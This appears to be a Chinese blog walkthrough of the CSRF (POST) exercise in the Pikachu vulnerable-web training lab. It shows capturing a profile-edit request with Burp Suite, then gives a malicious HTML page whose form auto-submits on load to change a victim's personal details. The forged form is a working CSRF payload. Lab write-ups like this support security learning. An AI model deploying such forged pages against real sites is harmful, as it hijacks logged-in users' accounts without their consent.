pikachu 跨站请求伪造 CSRF（POST）

最新推荐文章于 2024-05-26 08:00:00 发布

全村的希望xh

最新推荐文章于 2024-05-26 08:00:00 发布

阅读量1.3k

点赞数 4

文章标签： web安全

本文链接：https://blog.csdn.net/m0_62054271/article/details/127476661

版权

CRSF（get）的话只需要抓包，修改其中用户名参数，然后获取url地址就可以，最后让用户点击url地址就可以实现修改用户信息。

CRSF(POST):

使用随便一个用户名进行登录，这里假设使用你的账号进行登录：

登录成功后进行修改信息并用bp抓包：

bp抓包：

发现为POST请求不能伪造url地址，我们搭建一个恶意伪造网站：

<button id="btn" style="text-align: center;">点击查询</button><html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://pikachu:8082/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="123456789" />
<input id="add" type="text" name="add" value="hubei" />
<input id="email" type="text" name="email" value="123@163.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>